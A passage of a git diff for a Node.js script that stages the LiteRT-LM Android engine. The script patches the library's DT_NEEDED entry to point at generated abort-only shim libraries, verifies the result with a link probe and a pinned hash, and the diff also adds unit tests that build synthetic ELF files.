name, which has the same length +// (libandroid.so -> liblrtandr.so). Nothing else in the file changes, and the result must +// match the pinned patchedSha256. +// - A probe executable is then linked against the staged library, the shims and the NDK stubs +// with --no-allow-shlib-undefined, so a GLOBAL import that nothing in the library's dependency +// list provides fails the build with the linker's own message. + +// The libraries a standalone executable can load: bionic's own (libc, libm, libdl, which every +// process has), liblog and libz, and the graphics libraries native system daemons link (EGL, +// GLES, Vulkan, nativewindow). On the owner's phone the linker, which loads breadth-first, got +// through every library liblitert-lm.so needs directly and failed levels down in libandroid.so's +// tree. libandroid.so is the framework's app-facing library, and so are the other NDK libraries +// left out here (media, camera, ...). Add one only with a reason. +export const LOADABLE_LIBS = [ + 'libc.so', 'libm.so', 'libdl.so', 'liblog.so', 'libz.so', 'libEGL.so', 'libGLESv1_CM.so', + 'libGLESv2.so', 'libGLESv3.so', 'libnativewindow.so', 'libvulkan.so', +] +// The other names a shim must not take. +const STAGED_FILES = ['liblitert-lm.so', 'liblitertlm_server.so'] + +const DT_NEEDED = 1 +const DT_STRTAB = 5 +const DT_SYMTAB = 6 +const DT_STRSZ = 10 +const DT_VERDEF = 0x6ffffffc +const DT_VERDEFNUM = 0x6ffffffd +const DT_VERNEED = 0x6ffffffe +const DT_VERNEEDNUM = 0x6fffffff +// Every dynamic tag whose value is a .dynstr offset: NEEDED, SONAME, RPATH, RUNPATH, AUXILIARY, FILTER. +const DT_STRING_TAGS = new Set([DT_NEEDED, 14, 15, 29, 0x7ffffffd, 0x7fffffff]) +const STB_GLOBAL = 1 +const STB_WEAK = 2 +const STT_NOTYPE = 0 +const STT_FUNC = 2 +const SYMBOL_TYPES = { 0: 'untyped symbol', 1: 'data object', 2: 'function', 6: 'TLS variable', 10: 'IFUNC' } + +// The dynamic linking view of a 64-bit little-endian ELF file (what both ABIs ship): its DT_NEEDED +// entries, its dynamic symbols, the libraries it needs symbol versions from, and every .dynstr +// offset anything refers to, so a rename can prove it changes one string only. Found through the +// program headers, as the device's linker finds it; the symbol count comes from the .dynsym +// section header, which the dynamic section does not record. +export function readDynamic(b, what) { + if (b.length < 64 || b.readUInt32BE(0) !== 0x7f454c46 || b[4] !== 2 || b[5] !== 1) { + throw new Error(`${what}: not a 64-bit little-endian ELF file`) + } + const u64 = (o) => Number(b.readBigUInt64LE(o)) + const loads = [] + let dynamic + for (let i = 0; i < b.readUInt16LE(56); i++) { + const o = u64(32) + i * b.readUInt16LE(54) + const seg = { type: b.readUInt32LE(o), off: u64(o + 8), vaddr: u64(o + 16), filesz: u64(o + 32) } + if (seg.type === 1) loads.push(seg) // PT_LOAD + else if (seg.type === 2) dynamic = seg // PT_DYNAMIC + } + if (!dynamic) throw new Error(`${what}: no dynamic section`) + const fileOffset = (vaddr) => { + const seg = loads.find((l) => vaddr >= l.vaddr && vaddr < l.vaddr + l.filesz) + if (!seg) throw new Error(`${what}: address 0x${vaddr.toString(16)} is in no loaded segment`) + return seg.off + vaddr - seg.vaddr + } + const entries = [] + for (let o = dynamic.off; o + 16 <= dynamic.off + dynamic.filesz && u64(o) !== 0; o += 16) { + entries.push({ tag: u64(o), val: u64(o + 8) }) + } + const value = (tag) => entries.find((e) => e.tag === tag)?.val + if ([DT_STRTAB, DT_STRSZ, DT_SYMTAB].some((t) => value(t) === undefined)) { + throw new Error(`${what}: dynamic section without DT_STRTAB, DT_STRSZ or DT_SYMTAB`) + } + const strtab = fileOffset(value(DT_STRTAB)) + const strsz = value(DT_STRSZ) + const refs = [] + const str = (off, by) => { + if (off >= strsz) throw new Error(`${what}: ${by} points outside .dynstr`) + const ref = { off, by } + refs.push(ref) + return { name: b.toString('utf8', strtab + off, b.indexOf(0, strtab + off)), ref } + } + + const needed = [] + for (const e of entries) { + if (!DT_STRING_TAGS.has(e.tag)) continue + const s = str(e.val, `dynamic tag 0x${e.tag.toString(16)}`) + if (e.tag === DT_NEEDED) needed.push({ name: s.name, off: e.val, ref: s.ref }) + } + + const symtab = fileOffset(value(DT_SYMTAB)) + let count + for (let i = 0; i < b.readUInt16LE(60); i++) { + const o = u64(40) + i * b.readUInt16LE(58) + if (b.readUInt32LE(o + 4) === 11 && u64(o + 24) === symtab) count = u64(o + 32) / 24 // SHT_DYNSYM + } + if (count === undefined) throw new Error(`${what}: no .dynsym section header for DT_SYMTAB`) + const symbols = [] + for (let i = 1; i < count; i++) { // 0 is the null symbol + const o = symtab + i * 24 + symbols.push({ + name: str(b.readUInt32LE(o), `symbol ${i}`).name, + bind: b[o + 4] >> 4, + type: b[o + 4] & 0xf, + defined: b.readUInt16LE(o + 6) !== 0, + }) + } + + // Elf64_Verneed {vn_version, vn_cnt, vn_file, vn_aux, vn_next} and its Elf64_Vernaux entries + // {vna_hash, vna_flags, vna_other, vna_name, vna_next}; Elf64_Verdef {vd_version, vd_flags, + // vd_ndx, vd_cnt, vd_hash, vd_aux, vd_next} and its Elf64_Verdaux {vda_name, vda_next}. + const versionedFrom = new Set() + const verneeds = value(DT_VERNEEDNUM) ?? 0 + for (let i = 0, o = verneeds && fileOffset(value(DT_VERNEED)); i < verneeds; i++, o += b.readUInt32LE(o + 12)) { + versionedFrom.add(str(b.readUInt32LE(o + 4), 'a version need').name) + for (let j = 0, a = o + b.readUInt32LE(o + 8); j < b.readUInt16LE(o + 2); j++, a += b.readUInt32LE(a + 12)) { + str(b.readUInt32LE(a + 8), 'a version need entry') + } + } + const verdefs = value(DT_VERDEFNUM) ?? 0 + for (let i = 0, o = verdefs && fileOffset(value(DT_VERDEF)); i < verdefs; i++, o += b.readUInt32LE(o + 16)) { + for (let j = 0, a = o + b.readUInt32LE(o + 12); j < b.readUInt16LE(o + 6); j++, a += b.readUInt32LE(a + 4)) { + str(b.readUInt32LE(a), 'a version definition') + } + } + return { what, strtab, needed, symbols, refs, versionedFrom } +} + +// The NDK's stub libraries for one ABI, in dir (sysroot/usr/lib/): apis, every API level +// it has stubs for from minApi up, in order, and exportsOf(lib, api), the symbols the stub of lib +// at that level exports (name -> st_type), or undefined when there is no such stub. +export function ndkStubs(dir, minApi) { + const apis = readdirSync(dir).filter((d) => /^\d+$/.test(d)).map(Number).filter((a) => a >= minApi).sort((a, b) => a - b) + if (apis[0] !== minApi) throw new Error(`${dir}: no stub libraries for API ${minApi}`) + const exported = new Map() + const exportsOf = (name, api) => { + const f = join(dir, String(api), name) + if (!exported.has(f)) { + const syms = existsSync(f) ? readDynamic(readFileSync(f), f).symbols : undefined + exported.set(f, syms && new Map(syms.filter((s) => s.defined && (s.bind === STB_GLOBAL || s.bind === STB_WEAK)).map((s) => [s.name, s.type]))) + } + return exported.get(f) + } + return { apis, exportsOf } +} + +// Which of the library's DT_NEEDED entries are replaced, and the functions each shim must define. +// exportsOf(lib, api) gives the NDK stub's exported symbols (name -> st_type), or undefined when +// the NDK has no such stub at that API level; apis lists the levels to check, minSdk first, up to +// the newest the NDK has. Every check runs at each of them, because a device of any of them may +// run the app, and a symbol can move between libraries at any level in between: a WEAK import +// libandroid.so gains at API N and a loadable library only at a later M goes unresolved on +// N..M-1, which comparing only the first and the last level would miss. +export function planShims(lib, exportsOf, apis) { + const [minApi] = apis + const replaced = lib.needed.map((n) => n.name).filter((n) => !LOADABLE_LIBS.includes(n)) + const problems = new Set() + const head = `${lib.what}: ${replaced.length ? `cannot stand in for ${replaced.join(', ')}` : 'imports nothing provides'}:` + for (const r of replaced) { + if (!exportsOf(r, minApi)) problems.add(`${r} has no NDK stub at API ${minApi}, so what only it provides is unknown`) + if (lib.versionedFrom.has(r)) problems.add(`${r}: imports from it carry symbol versions, which a shim does not define`) + } + if (problems.size) throw new Error(`${head}\n ${[...problems].join('\n ')}`) + const from = (libs, name, api) => libs.filter((l) => exportsOf(l, api)?.has(name)) + // A problem found at several levels is reported once, with them. In its text \0, which no name + // read from .dynstr can contain, stands for the levels. + const levels = new Map() + const note = (problem, api) => levels.set(problem, [...(levels.get(problem) ?? []), api]) + const shims = replaced.map((r) => ({ replaced: r, functions: [] })) + for (const s of lib.symbols) { + if (s.defined || (s.bind !== STB_GLOBAL && s.bind !== STB_WEAK)) continue + const weak = s.bind === STB_WEAK + for (const api of apis) { + const owners = from(replaced, s.name, api) + const loadable = from(LOADABLE_LIBS, s.name, api) + if (!weak && !owners.length && !loadable.length) note(`${s.name}: no library provides it at API \0`, api) + if (!weak && owners.length && loadable.length) { + note(`${s.name}: ${owners.join(', ')} and ${loadable.join(', ')} both provide it (API \0); without ${owners[0]} it would bind elsewhere`, api) + } + if (weak && owners.length && !loadable.length) { + note(`${s.name} (weak): only ${owners.join(', ')} provides it (API \0); without it, it would be left unresolved`, api) + } + } + const owner = from(replaced, s.name, minApi)[0] + if (weak || !owner) continue + const type = s.type !== STT_NOTYPE ? s.type : exportsOf(owner, minApi).get(s.name) + if (type !== STT_FUNC) { + problems.add(`${s.name}: a ${SYMBOL_TYPES[type] ?? `type ${type} symbol`} from ${owner}; a shim can only stand in for functions`) + } else if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(s.name)) { + problems.add(`${s.name}: from ${owner}, not a C identifier`) + } else { + shims.find((sh) => sh.replaced === owner).functions.push(s.name) + } + } + for (const [problem, at] of levels) problems.add(problem.replace('\0', apiRanges(at, apis))) + if (problems.size) throw new Error(`${head}\n ${[...problems].join('\n ')}`) + const taken = new Set([...lib.needed.map((n) => n.name), ...LOADABLE_LIBS, ...STAGED_FILES]) + for (const sh of shims) { + sh.shim = shimFileName(sh.replaced, taken) + taken.add(sh.shim) + sh.functions.sort() + } + return shims +} + +// The levels in at, in the order of apis, as runs of consecutive entries of it: "26-28, 31". +function apiRanges(at, apis) { + const runs = [] + for (const api of at) { + const run = runs[runs.length - 1] + if (run && apis.indexOf(api) === apis.indexOf(run[1]) + 1) run[1] = api + else runs.push([api, api]) + } + return runs.map(([first, last]) => (first === last ? `${first}` : `${first}-${last}`)).join(', ') +} + +// A shim's file name is exactly as long as the name it replaces, so the DT_NEEDED string can be +// rewritten in place: "lrt" and the start of the old name (libandroid.so -> liblrtandr.so), with +// a base-36 counter over its last characters while that is taken. The counter never covers the +// "lr", so every shim name starts with liblr: that is what lets isShimFileName tell a shim an +// earlier run staged from another library in the same directory (such as libomp.so, which a +// counter over all three letters of a libxyz.so could otherwise have been named). +export function shimFileName(replaced, taken) { + const m = /^lib(.+)\.so$/.exec(replaced) + if (!m) throw new Error(`${replaced}: not a lib*.so name`) + const n = m[1].length + if (n < 2) throw new Error(`${replaced}: too short for a shim name of its length (liblr*.so)`) + const base = `lrt${m[1]}`.slice(0, n) + for (let i = 0; i < 36 ** Math.min(n - 2, 3); i++) { + const tag = i ? i.toString(36) : '' + const name = `lib${base.slice(0, n - tag.length)}${tag}.so` + if (!taken.has(name)) return name + } + throw new Error(`no free shim name of ${replaced.length} characters for ${replaced}`) +} + +// Whether shimFileName can produce name: liblr, then either t and anything, or nothing, or a +// counter of up to three base-36 digits; then .so. +export function isShimFileName(name) { + return /^liblr(t.*|[1-9a-z][0-9a-z]{0,2})?\.so$/s.test(name) +} + +// Removes from dir the shims an earlier run staged that this one does not (a LiteRT-LM bump can +// rename or drop one, and it would otherwise stay in the APK), and nothing else: only regular +// files whose name isShimFileName accepts. dir can hold other libraries; with --out pointed at +// composeApp/src/androidMain/jniLibs it holds the llama.cpp engines, which are slow to rebuild. +export function removeStaleShims(dir, staged) { + const removed = [] + for (const f of readdirSync(dir)) { + if (staged.has(f) || !isShimFileName(f) || !lstatSync(join(dir, f)).isFile()) continue + rmSync(join(dir, f)) + removed.push(f) + } + return removed +} + +// Renames one DT_NEEDED entry in place, refusing if any other reference into .dynstr (a symbol +// name, a version entry, another dynamic tag) shares its bytes: those, and every other copy of the +// name in the file, such as the one in .rodata next to TFLite's NNAPI strings, are left alone. +export function renameNeeded(b, lib, from, to) { + const n = lib.needed.find((e) => e.name === from) + if (!n || to.length !== from.length) throw new Error(`${lib.what}: cannot rename DT_NEEDED ${from} to ${to}`) + const at = lib.strtab + n.off + if (b.toString('latin1', at, at + from.length + 1) !== `${from}\0` || b[at - 1] !== 0) { + throw new Error(`${lib.what}: DT_NEEDED ${from} is not a string of its own at .dynstr+${n.off}`) + } + const shared = lib.refs.filter((r) => r !== n.ref && r.off >= n.off && r.off < n.off + from.length) + if (shared.length) { + throw new Error(`${lib.what}: ${shared.map((r) => r.by).join(', ')} share(s) the string of DT_NEEDED ${from}`) + } + b.write(to, at, 'latin1') +} + +export function shimSource({ replaced, shim, functions }, origin) { + return `// Generated by scripts/stage-litert-lm-engine.mjs for ${origin}. Do not edit. +// +// liblitert-lm.so lists ${replaced} as a dependency, and the engine process cannot load +// ${replaced}, so the staging script renamed that dependency to ${shim}: this library. It +// defines the ${functions.length} function(s) liblitert-lm.so imports from ${replaced} and nothing else. None +// of them should run in the engine; if one does, it says which, on stderr and in logcat, and +// aborts: it does not return a value it would have to make up. +#include +#include +#include +#include + +#define WHY "which ${replaced} provides, but ${replaced} cannot be loaded in the engine process (${shim} stands in for it); stopping." + +__attribute__((noreturn)) static void stop(const char* function) { + dprintf(STDERR_FILENO, "liblitert-lm.so called %s(), %s\\n", function, WHY); + __android_log_print(ANDROID_LOG_FATAL, "litert-lm-server", "liblitert-lm.so called %s(), %s", function, WHY); + abort(); +} + +#define SHIM(name) \\ + __attribute__((visibility("default"), noreturn)) void name(void); \\ + void name(void) { stop(#name); } + +${functions.map((f) => `SHIM(${f})`).join('\n')} +` +} + +function ndkToolchain(ndk) { + const prebuilt = join(ndk, 'toolchains', 'llvm', 'prebuilt') + const exe = process.platform === 'win32' ? 'clang.exe' : 'clang' + const host = existsSync(prebuilt) ? readdirSync(prebuilt).find((h) => existsSync(join(prebuilt, h, 'bin', exe))) : undefined + if (!host) fail(`no NDK clang under ${prebuilt}`) + return { clang: join(prebuilt, host, 'bin', exe), libs: join(prebuilt, host, 'sysroot', 'usr', 'lib') } +} + +function run(cmd, args, what) { + try { + execFileSync(cmd, args, { stdio: ['ignore', 'inherit', 'inherit'] }) + } catch { + fail(`${what} failed (the compiler's or linker's message is above)`) + } +} + +// Builds a generated shim and checks that it exports exactly its functions and needs only +// loadable libraries. +function buildShim(sh, abi, tc, workDir) { + const src = join(workDir, sh.shim.replace(/\.so$/, '.c')) + const out = join(workDir, sh.shim) + writeFileSync(src, shimSource(sh, `LiteRT-LM ${LITERT_LM_VERSION}, ${abi}`)) + run(tc.clang, [ + `--target=${WHEELS[abi].triple}${MIN_SDK}`, '-shared', '-fPIC', '-O2', '-fvisibility=hidden', + '-Wall', '-Wextra', '-Werror', `-Wl,-soname,${sh.shim}`, '-Wl,--no-undefined', + '-Wl,--exclude-libs,ALL', '-Wl,-z,max-page-size=16384', '-s', '-o', out, src, '-llog', + ], `building ${sh.shim} for ${abi}`) + const built = readDynamic(readFileSync(out), out) + const exported = built.symbols.filter((s) => s.defined && (s.bind === STB_GLOBAL || s.bind === STB_WEAK)).map((s) => s.name) + if (exported.sort().join() !== sh.functions.join()) fail(`${out} exports ${exported.join(', ') || 'nothing'}, expected ${sh.functions.join(', ') || 'nothing'}`) + const extra = built.needed.map((n) => n.name).filter((n) => !LOADABLE_LIBS.includes(n)) + if (extra.length) fail(`${out} needs ${extra.join(', ')}, which the engine process may not load`) + return out +} + +// lld checks every undefined symbol of a shared library whose DT_NEEDED entries are all on the +// link line (--no-allow-shlib-undefined), against what is on that line. So the probe links the +// staged library, its shims and the NDK stubs of exactly the other libraries it needs, and the +// link fails if any GLOBAL import has no provider among them, as the device's linker would. +function probeLink(libPath, abi, tc, shimPaths, workDir) { + const lib = readDynamic(readFileSync(libPath), libPath) + const deps = lib.needed.map((n) => shimPaths.get(n.name) ?? join(tc.libs, WHEELS[abi].triple, String(MIN_SDK), n.name)) + const missing = deps.filter((d) => !existsSync(d)) + if (missing.length) fail(`${libPath}: no ${missing.join(', ')} to check it against`) + const probe = join(workDir, 'probe.c') + writeFileSync(probe, 'int main(void) { return 0; }\n') + run(tc.clang, [ + `--target=${WHEELS[abi].triple}${MIN_SDK}`, '-o', join(workDir, 'probe'), probe, libPath, ...deps, + '-Wl,--no-allow-shlib-undefined', '-Wl,--no-undefined', + ], `the link check of ${libPath} against its dependencies`) +} + function findTool(explicit, name) { if (explicit && existsSync(explicit)) return explicit return process.platform === 'win32' ? `${name}.exe` : name // fall back to PATH @@ -175,8 +569,8 @@ function buildServer(abi, opts) { `-DCMAKE_MAKE_PROGRAM=${ninja}`, `-DCMAKE_TOOLCHAIN_FILE=${toolchain}`, `-DANDROID_ABI=${abi}`, - // Same floor as the app (minSdk 24); the library itself is built for API 23. - '-DANDROID_PLATFORM=android-24', + // Same floor as the app; the library itself is built for API 23. + `-DANDROID_PLATFORM=android-${MIN_SDK}`, // Static and unexported: see engines/litert-lm-server/src/litert_lm_api.h. '-DANDROID_STL=c++_static', '-DCMAKE_BUILD_TYPE=Release', @@ -192,25 +586,59 @@ function buildServer(abi, opts) { async function main() { const opts = parseArgs(process.argv.slice(2)) + const tc = ndkToolchain(opts.ndk) for (const abi of opts.abis) { const w = WHEELS[abi] if (!w) fail(`no LiteRT-LM build for ABI ${abi} (have: ${Object.keys(WHEELS).join(', ')})`) const outDir = join(opts.out, abi) + const workDir = join(opts.out, '..', `shim-${abi}`) mkdirSync(outDir, { recursive: true }) + mkdirSync(workDir, { recursive: true }) const wheel = await fetchWheel(abi, opts.cache) + const data = Buffer.from(extractFromZip(wheel, LIB_IN_WHEEL)) + const parsed = readDynamic(data, `${LIB_IN_WHEEL} (${abi})`) + const { apis, exportsOf } = ndkStubs(join(tc.libs, w.triple), MIN_SDK) + const shims = planShims(parsed, exportsOf, apis) + for (const sh of shims) renameNeeded(data, parsed, sh.replaced, sh.shim) + const lib = join(outDir, 'liblitert-lm.so') - writeFileSync(lib, extractFromZip(wheel, LIB_IN_WHEEL)) + writeFileSync(lib, data) checkElf(lib, w.elfMachine) + const shimPaths = new Map() + for (const sh of shims) { + const staged = join(outDir, sh.shim) + copyFileSync(buildShim(sh, abi, tc, workDir), staged) + checkElf(staged, w.elfMachine) + shimPaths.set(sh.shim, staged) + console.log(`liblitert-lm.so (${abi}): ${sh.replaced} replaced by ${sh.shim}, ` + + `which aborts if any of its ${sh.functions.length} function(s) is called: ${sh.functions.join(', ')}`) + } + probeLink(lib, abi, tc, shimPaths, workDir) + // Last, so that a LiteRT-LM bump learns the new hash only once every check above has passed. + const patched = sha256(data) + if (patched !== w.patchedSha256) { + fail(`${LIB_IN_WHEEL} (${abi}) with ${shims.map((sh) => `${sh.replaced} replaced by ${sh.shim}`).join(', ') || 'nothing replaced'}: ` + + `sha256 ${patched} does not match the pinned patchedSha256 ${w.patchedSha256}`) + } const server = join(outDir, 'liblitertlm_server.so') copyFileSync(buildServer(abi, opts), server) checkElf(server, w.elfMachine) + for (const f of removeStaleShims(outDir, new Set(shimPaths.keys()))) { + console.log(`removed ${join(outDir, f)}: a shim an earlier run staged and this one does not`) + } + console.log(`staged LiteRT-LM ${LITERT_LM_VERSION} for ${abi}: ` + `liblitert-lm.so ${(statSync(lib).size / 1e6).toFixed(1)} MB, ` + - `liblitertlm_server.so ${(statSync(server).size / 1e3).toFixed(0)} KB`) + `liblitertlm_server.so ${(statSync(server).size / 1e3).toFixed(0)} KB` + + [...shimPaths].map(([name, f]) => `, ${name} ${(statSync(f).size / 1e3).toFixed(0)} KB`).join('')) } } -main().catch((e) => fail(e instanceof Error ? e.message : String(e))) +// Run as a script; the test imports the functions above without staging anything. Real paths on +// both sides, so a symlinked checkout cannot make a Gradle run skip the staging and still pass. +if (process.argv[1] && realpathSync(process.argv[1]) === realpathSync(fileURLToPath(import.meta.url))) { + main().catch((e) => fail(e instanceof Error ? e.message : String(e))) +} diff --git a/scripts/stage-litert-lm-engine.test.mjs b/scripts/stage-litert-lm-engine.test.mjs new file mode 100644 index 0000000..4b627b0 --- /dev/null +++ b/scripts/stage-litert-lm-engine.test.mjs @@ -0,0 +1,345 @@ +// Tests for the libandroid.so replacement in stage-litert-lm-engine.mjs: reading the library's +// dynamic section and the NDK's stubs, deciding what each shim defines, renaming the DT_NEEDED +// entry, naming the shim and removing a stale one. They run on small synthetic ELF files, so they +// need neither the NDK nor the wheel: +// node --test scripts/stage-litert-lm-engine.test.mjs +// (Every staging run also checks the real library: the shim build, the link probe and the pinned +// hash of the patched file.) +import assert from 'node:assert/strict' +import { mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { test } from 'node:test' + +import { + isShimFileName, ndkStubs, planShims, readDynamic, removeStaleShims, renameNeeded, shimFileName, shimSource, +} from './stage-litert-lm-engine.mjs' + +const GLOBAL = 1 +const WEAK = 2 +const OBJECT = 1 +const FUNC = 2 + +// A minimal 64-bit little-endian shared object, laid out as a linker would for the parts the +// script reads: one PT_LOAD over the whole file (vaddr = file offset), PT_DYNAMIC, .dynstr, +// .dynsym with its section header, optional version needs, and some bytes after them standing in +// for .rodata. Identical strings share one .dynstr entry, as lld emits them. +function fakeElf({ needed, symbols, verneed = [], rodata = '' }) { + const strings = [''] + const offsets = new Map([['', 0]]) + let strsz = 1 + const strOff = (s) => { + if (!offsets.has(s)) { + offsets.set(s, strsz) + strings.push(s) + strsz += Buffer.byteLength(s) + 1 + } + return offsets.get(s) + } + for (const n of needed) strOff(n) + for (const s of symbols) strOff(s.name) + for (const v of verneed) [v.file, ...v.versions].forEach(strOff) + const dynstr = Buffer.from(strings.map((s) => `${s}\0`).join(''), 'latin1') + + const align = (n) => (n + 7) & ~7 + const strtabOff = 64 + 2 * 56 + const symtabOff = align(strtabOff + dynstr.length) + const verneedOff = symtabOff + 24 * (symbols.length + 1) + const verneedSize = verneed.reduce((n, v) => n + 16 + 16 * v.versions.length, 0) + const dynamicOff = align(verneedOff + verneedSize) + const dyn = [ + ...needed.map((n) => [1, strOff(n)]), + [5, strtabOff], [10, dynstr.length], [6, symtabOff], + ...(verneed.length ? [[0x6ffffffe, verneedOff], [0x6fffffff, verneed.length]] : []), + [0, 0], + ] + const rodataOff = dynamicOff + 16 * dyn.length + const shoff = align(rodataOff + rodata.length) + const b = Buffer.alloc(shoff + 2 * 64) + + b.writeUInt32BE(0x7f454c46, 0) + b[4] = 2 // ELFCLASS64 + b[5] = 1 // ELFDATA2LSB + b[6] = 1 + b.writeUInt16LE(3, 16) // ET_DYN + b.writeUInt16LE(0xb7, 18) + b.writeUInt32LE(1, 20) + b.writeBigUInt64LE(64n, 32) // e_phoff + b.writeBigUInt64LE(BigInt(shoff), 40) + b.writeUInt16LE(64, 52) + b.writeUInt16LE(56, 54) + b.writeUInt16LE(2, 56) + b.writeUInt16LE(64, 58) + b.writeUInt16LE(2, 60) + const phdr = (o, type, off, size) => { + b.writeUInt32LE(type, o) + b.writeBigUInt64LE(BigInt(off), o + 8) + b.writeBigUInt64LE(BigInt(off), o + 16) + b.writeBigUInt64LE(BigInt(size), o + 32) + b.writeBigUInt64LE(BigInt(size), o + 40) + } + phdr(64, 1, 0, b.length) // PT_LOAD + phdr(64 + 56, 2, dynamicOff, 16 * dyn.length) // PT_DYNAMIC + + dynstr.copy(b, strtabOff) + symbols.forEach((s, i) => { + const o = symtabOff + 24 * (i + 1) + b.writeUInt32LE(strOff(s.name), o) + b[o + 4] = (s.bind << 4) | s.type + b.writeUInt16LE(s.defined ? 1 : 0, o + 6) + }) + let o = verneedOff + verneed.forEach((v, i) => { + b.writeUInt16LE(1, o) + b.writeUInt16LE(v.versions.length, o + 2) + b.writeUInt32LE(strOff(v.file), o + 4) + b.writeUInt32LE(16, o + 8) + b.writeUInt32LE(i < verneed.length - 1 ? 16 + 16 * v.versions.length : 0, o + 12) + v.versions.forEach((name, j) => { + const a = o + 16 + 16 * j + b.writeUInt32LE(strOff(name), a + 8) + b.writeUInt32LE(j < v.versions.length - 1 ? 16 : 0, a + 12) + }) + o += 16 + 16 * v.versions.length + }) + dyn.forEach(([tag, val], i) => { + b.writeBigUInt64LE(BigInt(tag), dynamicOff + 16 * i) + b.writeBigUInt64LE(BigInt(val), dynamicOff + 16 * i + 8) + }) + b.write(rodata, rodataOff, 'latin1') + const sh = shoff + 64 // [0] is the null section header + b.writeUInt32LE(11, sh + 4) // SHT_DYNSYM + b.writeBigUInt64LE(BigInt(symtabOff), sh + 24) + b.writeBigUInt64LE(BigInt(24 * (symbols.length + 1)), sh + 32) + b.writeBigUInt64LE(24n, sh + 56) + return b +} + +const fn = (name, bind = GLOBAL) => ({ name, bind, type: FUNC }) + +// Stand-ins for the NDK's stub libraries: each library's symbols, with their type and the API level +// the library gains them at. A library has no stub below the level of its first symbol, as the +// NDK has no libnativewindow.so below API 26 (where it and libandroid.so both gain +// AHardwareBuffer_acquire). +const STUBS = { + 'libandroid.so': { AAsset_close: [FUNC, 24], AAssetManager_open: [FUNC, 24], ALooper_forThread: [FUNC, 24], AHardwareBuffer_acquire: [FUNC, 26] }, + 'libc.so': { malloc: [FUNC, 24], stderr: [OBJECT, 24], dprintf: [FUNC, 24] }, + 'liblog.so': { __android_log_print: [FUNC, 24] }, + 'libnativewindow.so': { AHardwareBuffer_acquire: [FUNC, 26] }, +} +const APIS = [24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35] +const withExtra = (extra = {}) => Object.fromEntries([...new Set([...Object.keys(STUBS), ...Object.keys(extra)])] + .map((lib) => [lib, { ...STUBS[lib], ...extra[lib] }])) +const exportsAt = (spec, lib, api) => { + const syms = Object.entries(spec[lib] ?? {}).filter(([, [, since]]) => since <= api) + return syms.length ? new Map(syms.map(([name, [type]]) => [name, type])) : undefined +} +const stubs = (extra) => (lib, api) => exportsAt(withExtra(extra), lib, api) + +// Shaped like LiteRT-LM 0.18.0's liblitert-lm.so: libandroid.so first among its dependencies, +// APK-asset functions imported from it, the rest from bionic, AHardwareBuffer_* imported weak. +const litertLike = (extraSymbols = [], extra = {}) => ({ + needed: ['libandroid.so', 'liblog.so', 'libc.so'], + symbols: [ + { name: 'litert_lm_engine_create', bind: GLOBAL, type: FUNC, defined: true }, + fn('AAsset_close'), fn('AAssetManager_open'), fn('malloc'), fn('__android_log_print'), + { name: 'stderr', bind: GLOBAL, type: OBJECT }, + fn('AHardwareBuffer_acquire', WEAK), + ...extraSymbols, + ], + rodata: 'ANEURALNETWORKS_NO_ERROR\0libandroid.so\0', + ...extra, +}) +const plan = (spec, extraStubs) => planShims(readDynamic(fakeElf(spec), 'liblitert-lm.so'), stubs(extraStubs), APIS) + +test('readDynamic reads the DT_NEEDED entries, the dynamic symbols and the version needs', () => { + const lib = readDynamic(fakeElf(litertLike([], { verneed: [{ file: 'libc.so', versions: ['LIBC'] }] })), 'x') + assert.deepEqual(lib.needed.map((n) => n.name), ['libandroid.so', 'liblog.so', 'libc.so']) + assert.deepEqual(lib.symbols.find((s) => s.name === 'stderr'), { name: 'stderr', bind: GLOBAL, type: OBJECT, defined: false }) + assert.equal(lib.symbols.find((s) => s.name === 'litert_lm_engine_create').defined, true) + assert.deepEqual([...lib.versionedFrom], ['libc.so']) + assert.throws(() => readDynamic(Buffer.from('not an ELF file at all, just some bytes'.repeat(3)), 'x'), /not a 64-bit/) +}) + +test('libandroid.so gets a shim with exactly the functions only it provides', () => { + assert.deepEqual(plan(litertLike()), [{ replaced: 'libandroid.so', shim: 'liblrtandr.so', functions: ['AAssetManager_open', 'AAsset_close'] }]) +}) + +test('a new libandroid.so-only import adds a function to the shim', () => { + assert.deepEqual(plan(litertLike([fn('ALooper_forThread')]))[0].functions, ['AAssetManager_open', 'AAsset_close', 'ALooper_forThread']) +}) + +test('a library that needs only loadable libraries gets no shim', () => { + assert.deepEqual(plan({ needed: ['libc.so'], symbols: [fn('malloc')] }), []) +}) + +test('a data object only libandroid.so provides fails the build', () => { + const extra = { 'libandroid.so': { AConfiguration_table: [OBJECT, 24] } } + assert.throws(() => plan(litertLike([{ name: 'AConfiguration_table', bind: GLOBAL, type: OBJECT }]), extra), + /AConfiguration_table: a data object from libandroid.so; a shim can only stand in for functions/) +}) + +test('a GLOBAL import no library provides fails the build', () => { + assert.throws(() => plan(litertLike([fn('mystery_function')])), /mystery_function: no library provides it at API 24-35$/m) +}) + +test('a GLOBAL import both libandroid.so and a loadable library provide fails the build', () => { + const extra = { 'libandroid.so': { dprintf: [FUNC, 30] } } + assert.throws(() => plan(litertLike([fn('dprintf')]), extra), /dprintf: libandroid.so and libc.so both provide it \(API 30-35\)/) +}) + +test('a WEAK import only libandroid.so provides fails the build; one a loadable library also provides does not', () => { + const extra = { 'libandroid.so': { ANativeActivity_finish: [FUNC, 35] } } + assert.throws(() => plan(litertLike([fn('ANativeActivity_finish', WEAK)]), extra), + /ANativeActivity_finish \(weak\): only libandroid.so provides it \(API 35\)/) + // AHardwareBuffer_acquire, in litertLike, is the second case (libnativewindow.so from API 26). + assert.doesNotThrow(() => plan(litertLike())) +}) + +// Writes the stub libraries spec describes (shaped like STUBS) as the NDK lays them out, +// //, for each of apis, plus a file beside the level directories as the NDK has. +function stubTree(dir, spec, apis) { + for (const api of apis) { + mkdirSync(join(dir, String(api))) + for (const lib of Object.keys(spec)) { + const syms = exportsAt(spec, lib, api) + if (!syms) continue + const symbols = [...syms].map(([name, type]) => ({ name, bind: GLOBAL, type, defined: true })) + writeFileSync(join(dir, String(api), lib), fakeElf({ needed: [], symbols })) + } + } + writeFileSync(join(dir, 'libc++_shared.so'), 'not an API level') +} + +test('every API level from minSdk to the newest stubs is checked: a WEAK import libandroid.so gains before a loadable library does fails the build', () => { + const dir = mkdtempSync(join(tmpdir(), 'stage-litert-lm-stubs-')) + try { + // libandroid.so gains AHardwareBuffer_lockPlanes at 26, libnativewindow.so only at 29: on + // API 26-28 it would be left 